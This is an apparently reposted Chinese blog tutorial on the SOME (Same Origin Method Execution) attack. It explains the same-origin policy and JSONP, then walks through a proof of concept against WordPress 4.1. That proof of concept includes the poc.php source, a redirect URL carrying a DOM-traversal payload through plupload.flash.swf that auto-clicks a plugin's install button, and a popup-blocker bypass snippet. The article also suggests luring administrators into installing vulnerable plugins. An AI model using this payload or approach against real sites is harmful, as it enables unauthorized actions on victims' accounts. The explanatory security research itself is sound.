[聚合文章] SOME攻击

JSONP 2016-06-03 11 阅读

SOME [1]攻击的PDF出来之后,可能因为文章内容太长而且又是英语的缘故,导致很多人望而却步。即使国内有人翻译了其中的一小部分,但内容也简直可以说是胡乱拼凑,给人的感觉就是——“这是什么鬼?!”。

然而实际上SOME攻击是个非常有趣的漏洞利用技巧,并且国内也存在被该技巧攻击的网站。基于这样的原因,我斗胆半翻译半实践的来说明下这个有趣的前端漏洞利用技巧,望各位轻喷。

下面是个演示视频,访问链接后即可自动安装wordpress插件[2]! 在线地址 点我下载

看完之后,是不是有很多疑问: 为什么访问个链接就会给我装个插件?请求的那个链接是什么鬼?貌似要等待好长时间?只是装个插件,貌似然并卵啊?即使如此,又该如何挖掘类似的漏洞?

在解释上面的问题之前,你需要知道以下的几个知识点。

0x01 同源策略

什么是同源策略[3]?

所谓同源简单的来说就是通信双方协议、域名、端口都要一致,如下:

域名1 域名2 是否同源
http://www.1.com http://www.1.com/2/ 同源
https://www.1.com http://www.1.com 不同源(协议不一致)
http://www.1.com http://www.2.com 不同源(域名不一致)
http://www.1.com:81 http://www.1.com:82 不同源(端口不一致)

同源策略有何意义?

阻止网站脚本访问其他站点使用的脚本,同时也阻止它与其他站点脚本交互,也就是保证在你访问A、B网站时,A网站不会获取你在B网站的信息。

然而同源策略在保证用户的安全性的同时,也给网站开发人员带来了一个大问题。由于同源策略的限制,使得开发者向第三方请求数据时会被拦截,于是一些克服该限制的技术应运而生,诸如:JSONP、PostMessage等等。

0x02 JSONP

JSONP(JSON with Padding)是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。

服务端实现callback函数

<?php
//服务端返回JSON数据
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//动态执行回调函数
$callback=$_GET['callback'];
echo $callback."($result)";
?>

客户端发起callback请求

<script>
function jsonpCallback(result) {
//alert(result);
for(var i in result) {
alert(i+":"+result[i]);//循环输出a:1,b:2,etc.
}
}
var JSONP=document.createElement("script");
JSONP.type="text/javascript";
JSONP.src="http://1.com/cb.php?callback=jsonpCallback";
document.getElementsByTagName("head")[0].appendChild(JSONP);
</script>

以上客户端代码实现客户端向http://1.com/请求数据

服务器端获取到客户端的callback请求后,返回类似如下的数据

jsonpCallback({"a":1,"b":2,"c":3,"d":4,"e":5})

客户端在接收到服务器端返回的数据后,会将获取到的数据转交给本地的jsonpCallback函数处理,循环输出数据。

注:正常的callback请求只允许[A-Za-z0-9_.],也就是说xss要用到的字符比如<、>、&、#之类的都是不在允许的范围内的,所以理论上你是无法实施xss攻击的,这时候SOME攻击就该登场了。

0x03 SOME攻击

什么是SOME攻击?

SOME(Same Origin Method Execution), 类似于Hijking攻击,理论上任何具备点击功能(比如添加删除、授权确认等)的网站都存在遭受这种攻击的可能,缺陷是不能带参数操作。

条件:目标域名存在callback函数,允许.(点),并且允许用户提交callback的函数名。

危害:应用自动授权(OAuth认证)、自动点赞等,可发挥的场景太多了!

攻击流程:

1用户点击了我们指定的链接;

2用户进到该链接主页面后,弹出了新的窗口,这些窗口随后重定向至某页面;

3主页面指向攻击页面,其他窗口重定向至callback接口,完成攻击;

好,现在来详细解答看完视频后提出的种种问题。

实验环境:

phpStudy 2014-IIS 6.0环境

PHP 5.2

Mysql 5.5.40

WordPress 4.1

在自己的网站上新建一个poc.php

主页面poc.php源码如下:

<html>
<body>
<h1>Wordpress SOME Proof of Concept</h1>
<br><br>
<a onclick="fcuk()" target="_blank" href="proxy.php">click here to do the magic</a>
<script>
function fcuk() {
var target = "http://127.0.0.1:88/";
window.location.href=target +"wp-admin/plugin-install.php?tab=plugin-information&plugin=google-analytics-dashboard-for-wp&section=description";
}
</script>
</body>
</html>

当用户点击上面的链接后,会新开一个窗口指向proxy.php,并且本页面会重定向至http://127.0.0.1:88/wp-admin/plugin-install.php?tab=plugin-information&plugin=google-analytics-dashboard-for-wp&section=description

这链接是个什么东西呢?这是Wordpress安装Google Analytics插件的页面

proxy.php页面的作用是等待主页面poc.php跳转完成后,再请求callback函数

如图,proxy.php页面等待40s后,重定向至http://127.0.0.1:88/wp-includes/js/plupload/plupload.flash.swf?uid=0&target=window.opener.document.body.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.lastChild.click

完成攻击!

0x04  再深入一点?好!

首先,我们新建的主页poc.php是我们可控制的,意味着我要放什么内容都可以,当然越吸引人越好了。

当前poc.php中的链接是以<a>标签的taget=&rdquo;_blank&rdquo;打开的,指向proxy.php。两个页面的地址都是http://1.com/,所以两个窗口属于同源对吧,又因为proxy.php是从poc.php中以超链接打开的,所以proxy.php中的opener对象指向的父窗体是poc.php没错吧?!

然后,poc.php重定向至http://127.0.0.1:88/wp-admin/plugin-install.php?tab=plugin-information&plugin=google-analytics-dashboard-for-wp&section=description这个谷歌插件安装的页面。

由于上面的两个页面在浏览器中进行重定向时,窗口对象依然保持在原来分配的内存空间,因此重定向后的proxy.php页面的opener对象指向的父窗体还是poc.php页面,只是这时候这两者不同源了(poc.php为http://127.0.0.1:88/,而proxy.php为http://1.com/),这时候势必会被同源策略所拦截。

接着,我们把proxy.php页面(http://1.com/)也重定向到http://127.0.0.1:88/的某一页面,这下就实现了poc.php页面和proxy.php页面既同源又有父子窗体的关系。

proxy.php页面重定向到的页面也是有讲究的,这个重定向的地址需要是目标域名下的一个callback函数或者flash文件中的callback函数,同时指定payload。

如何去寻找这样一个callback函数?这个callback函数需要满足什么条件?payload是什么鬼?如何写payload?

我们继续说。

要找到一个目标域名的callback函数的话,应该不是很难,毕竟这是正常的业务需求,一般大的站点都会有的,可以通过google来查找,比如site:target.com inurl:callback,还有就是通过一些flash的接口,这个的话就得靠反编译去好好找找了。

callback函数需要满足什么条件?

不需要特殊的条件,只需要两点:
一、允许用户提交自定义的函数名,比如1.php?callback=callback_name,callback_name是我们可以控制的,并且服务器也直接返回该callback_name(某些网站响应callback请求,返回数据时会在前面加入/**/,变成/**/callback_name,这样子的就不能满足);
二、callback函数允许提交.(点)。然而从大部分网站的情况来看,这两个点非常容易被满足!

如何写payload?

就拿视频中的这个来说明吧。

首先找的这个callback函数是在一个flash文件中,这个flash是Wordpress的plupload这个模块中的,而plupload这个模块是Wordpress自带的,有问题的flash为/wp-includes/js/plupload/plupload.flash.swf。

plupload.flash.swf中

_init()函数如下

private   function _init(arg1: Event): void {
removeEventListener(Event.ADDED_TO_STAGE, _init);
stage.align = StageAlign.TOP_LEFT;
stage.scaleMode = StageScaleMode.EXACT_FIT;
var REG_3: Object = stage.loaderInfo.parameters;
Moxie.uid = Utils.sanitize(REG_3["uid"]);
if (REG_3.hasOwnProperty("target") && new RegExp("^[\\w\\.]+$").test(REG_3["target"]))
{ eventDispatcher = REG_3["target"]; }
ExternalInterface.addCallback("exec", exec);
ExternalInterface.addCallback("isOccupied", isOccupied);
Moxie.compFactory = new ComponentFactory(); _fireEvent(Moxie.uid + "::Init"); return;}

_fireEvent()函数如下:

private function _fireEvent(arg1: * , arg2: Object): void {
var SLOT1: * = arg1;
var SLOT2: Object = arg2;
ExternalInterface.call(eventDispatcher, SLOT1, SLOT2);
return;
}

该flash在被调用时,会获取uid参数和target参数,然后执行javascript函数。

然后你就可以看到我们在proxy.php中是这样调用的

http://127.0.0.1:88/wp-includes/js/plupload/plupload.flash.swf?uid=0&target=window.opener.document.body.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.lastChild.click

至于payload怎么写,也就是上面的

window.opener.document.body.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.lastChild.click

我们在前面说过proxy.php页面的opner对象指向的父窗体是poc.php,payload的目标就是要通过callback来执行父窗体(poc.php)中的某些操作。

在这个例子中,我们的目标是要安装Google Analytics这个插件,那么在进到这个插件页面后,正常我们是要手动点击&ldquo;现在安装&rdquo;按钮来实现安装的,而我们的payload就是为了实现自动点击该按钮!

我们来看下这个&ldquo; 现在安装 &rdquo;这个按钮的dom环境。

我们知道在dom中是有很多方法能够找到这个&ldquo; 现在安装 &rdquo;这个标签的。

document.body 获取到<body>

document.body.lastChild获取到最后一个<script>标签

document.body.lastChild.previousElementSibling获取到的是&ldquo;现在安装&rdquo;所在的<div>标签的下一个标签

document.body.lastChild.previousElementSibling.previousElementSibling获取到的是&ldquo;现在安装&rdquo;所在的<div>标签

document.body.lastChild.previousElementSibling.previousElementSibling.lastChild.click就是&ldquo;现在安装&rdquo;按钮。

为什么我上面获取dom的特定标签时,不使用getElementById之类的呢,因为callback函数不允(、)、&rdquo;等符号啊!然后为什么不直接document.body.id呢,细心的你可以发现里面的id是有带-的,然而这符号也不是callback函数允许的!

前面也提到了这次用的是点击链接才触发,实际上可以用JavaScript自行触发window.open()。

但是又会碰到一个问题:浏览器会拦截自动弹出的窗口!怎么办?

其中的一种解决方法是通过监听点击事件,不管用户点击的是哪里,都会跳转到目标页面,当然还有其他的方法,但是作者没有给出来,他说谷歌还没修复,至于绕过的方法留给大家去挖掘。
function bypassPopups(){
window.open("http://1.com/proxy.php","_new");}
document.body.addEventListener("click",bypassPopups);

为什么执行时间那么长?因为我本地有点卡啊!所以触发proxy.php的时候,我让它延迟了40s!

不就是装个插件吗!然并卵

在你要hack Wordpress时,程序版本比较高、插件都很安全、没有旁站、没有弱口令、社工库没有资料,并且还射不到管理员的时候,难道你不会诱导管理员装个有问题的插件,然后你再hack这个插件?

如何挖掘此类漏洞呢?

根据触发条件来呗,先找好某个点击类的操作,然后找到域名同源下的一个callback,并且确保函数名可控,以及允许.(点),接着就是找到点击按钮的dom操作,然后将payload写到callback中,最后就是让你的目标访问你设定的页面。

补充: 之前翻译实践的时候,有个点没有说清楚, 也就是 同源下的一个callback函数名可控的同时,还要求 callback函数能被JavaScript执行(比如在script标签中或者在flash中能被执行)

后记:

上面的例子是自动安装wordpress插件,其实一个比较典型的玩法是SOME与OAuth连用来达到任意授权app,这个玩法是benhayak在Black Hat Europe 2014演示的,这里我就不再进行说明了,使用的技巧就是上面说明的,有兴趣的可以看下视频加深理解, 点我下载

References:

[1] http://www.benhayak.com/2015/05/stealing-private-photo-albums-from-Google.html

[2] http://zoczus.blogspot.co.il/2015/04/plupload-same-origin-method-execution.html

[3] http://drops.wooyun.org/tips/151

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。